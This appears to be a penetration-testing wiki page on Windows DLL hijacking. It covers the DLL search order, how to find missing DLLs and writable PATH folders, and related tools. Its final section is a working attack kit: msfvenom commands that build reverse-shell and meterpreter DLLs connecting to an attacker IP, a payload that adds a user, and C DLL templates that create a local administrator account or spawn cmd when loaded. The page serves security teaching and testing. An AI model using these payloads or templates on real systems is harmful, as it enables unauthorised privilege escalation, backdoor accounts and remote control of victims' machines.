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Dll Hijacking

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Basic Information

DLL Hijacking involves manipulating a trusted application into loading a malicious DLL. This term encompasses several tactics like DLL Spoofing, Injection, and Side-Loading. It's mainly utilized for code execution, achieving persistence, and, less commonly, privilege escalation. Despite the focus on escalation here, the method of hijacking remains consistent across objectives.

Common Techniques

Several methods are employed for DLL hijacking, each with its effectiveness depending on the application's DLL loading strategy:

DLL Replacement: Swapping a genuine DLL with a malicious one, optionally using DLL Proxying to preserve the original DLL's functionality.
DLL Search Order Hijacking: Placing the malicious DLL in a search path ahead of the legitimate one, exploiting the application's search pattern.
Phantom DLL Hijacking: Creating a malicious DLL for an application to load, thinking it's a non-existent required DLL.
DLL Redirection: Modifying search parameters like %PATH% or .exe.manifest / .exe.local files to direct the application to the malicious DLL.
WinSxS DLL Replacement: Substituting the legitimate DLL with a malicious counterpart in the WinSxS directory, a method often associated with DLL side-loading.
Relative Path DLL Hijacking: Placing the malicious DLL in a user-controlled directory with the copied application, resembling Binary Proxy Execution techniques.

Finding missing Dlls

The most common way to find missing Dlls inside a system is running procmon from sysinternals, setting the following 2 filters:

and just show the File System Activity:

If you are looking for missing dlls in general you leave this running for some seconds.
If you are looking for a missing dll inside an specific executable you should set another filter like "Process Name" "contains" "<exec name>", execute it, and stop capturing events.

Exploiting Missing Dlls

In order to escalate privileges, the best chance we have is to be able to write a dll that a privilege process will try to load in some of place where it is going to be searched. Therefore, we will be able to write a dll in a folder where the dll is searched before the folder where the original dll is (weird case), or we will be able to write on some folder where the dll is going to be searched and the original dll doesn't exist on any folder.

Dll Search Order

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Windows applications look for DLLs by following a set of pre-defined search paths, adhering to a particular sequence. The issue of DLL hijacking arises when a harmful DLL is strategically placed in one of these directories, ensuring it gets loaded before the authentic DLL. A solution to prevent this is to ensure the application uses absolute paths when referring to the DLLs it requires.

You can see the DLL search order on 32-bit systems below:

The directory from which the application loaded.
The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
1. (C:\Windows)
The current directory.
The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

That is the default search order with SafeDllSearchMode enabled. When it's disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).

If LoadLibraryEx function is called with LOAD_WITH_ALTERED_SEARCH_PATH the search begins in the directory of the executable module that LoadLibraryEx is loading.

Finally, note that a dll could be loaded indicating the absolute path instead just the name. In that case that dll is only going to be searched in that path (if the dll has any dependencies, they are going to be searched as just loaded by name).

There are other ways to alter the ways to alter the search order but I'm not going to explain them here.

Exceptions on dll search order from Windows docs

Certain exceptions to the standard DLL search order are noted in Windows documentation:

When a DLL that shares its name with one already loaded in memory is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. In this scenario, the system does not conduct a search for the DLL.
In cases where the DLL is recognized as a known DLL for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, forgoing the search process. The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs holds a list of these known DLLs.
Should a DLL have dependencies, the search for these dependent DLLs is conducted as though they were indicated only by their module names, regardless of whether the initial DLL was identified through a full path.

Escalating Privileges

Requirements:

Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.
Ensure write access is available for any directory in which the DLL will be searched for. This location might be the directory of the executable or a directory within the system path.

Yeah, the requisites are complicated to find as by default it's kind of weird to find a privileged executable missing a dll and it's even more weird to have write permissions on a system path folder (you can't by default). But, in misconfigured environments this is possible.
In the case you are lucky and you find yourself meeting the requirements, you could check the UACME project. Even if the main goal of the project is bypass UAC, you may find there a PoC of a Dll hijaking for the Windows version that you can use (probably just changing the path of the folder where you have write permissions).

Note that you can check your permissions in a folder doing:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

And check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

You can also check the imports of an executable and the exports of a dll with:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

For a full guide on how to abuse Dll Hijacking to escalate privileges with permissions to write in a System Path folder check:

{% content-ref url="writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}

Automated tools

Winpeas will check if you have write permissions on any folder inside system PATH.
Other interesting automated tools to discover this vulnerability are PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll.

Example

In case you find an exploitable scenario one of the most important things to successfully exploit it would be to create a dll that exports at least all the functions the executable will import from it. Anyway, note that Dll Hijacking comes handy in order to escalate from Medium Integrity level to High (bypassing UAC) or from High Integrity to SYSTEM. You can find an example of how to create a valid dll inside this dll hijacking study focused on dll hijacking for execution: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Moreover, in the next section you can find some basic dll codes that might be useful as templates or to create a dll with non required functions exported.

Creating and compiling Dlls

Dll Proxifying

Basically a Dll proxy is a Dll capable of execute your malicious code when loaded but also to expose and work as exected by relaying all the calls to the real library.

With the tool DLLirant or Spartacus you can actually indicate an executable and select the library you want to proxify and generate a proxified dll or indicate the Dll and generate a proxified dll.

Meterpreter

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Get a meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Create a user (x86 I didn't see a x64 version):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Your own

Note that in several cases the Dll that you compile must export several functions that are going to be loaded by the victim process, if these functions doesn't exist the binary won't be able to load them and the exploit will fail.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            system("whoami > C:\\users\\username\\whoami.txt");
            WinExec("calc.exe", 0); //This doesn't accept redirections like system
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
  WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
    system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DEATCH:
            break;
    }
    return TRUE;
}

References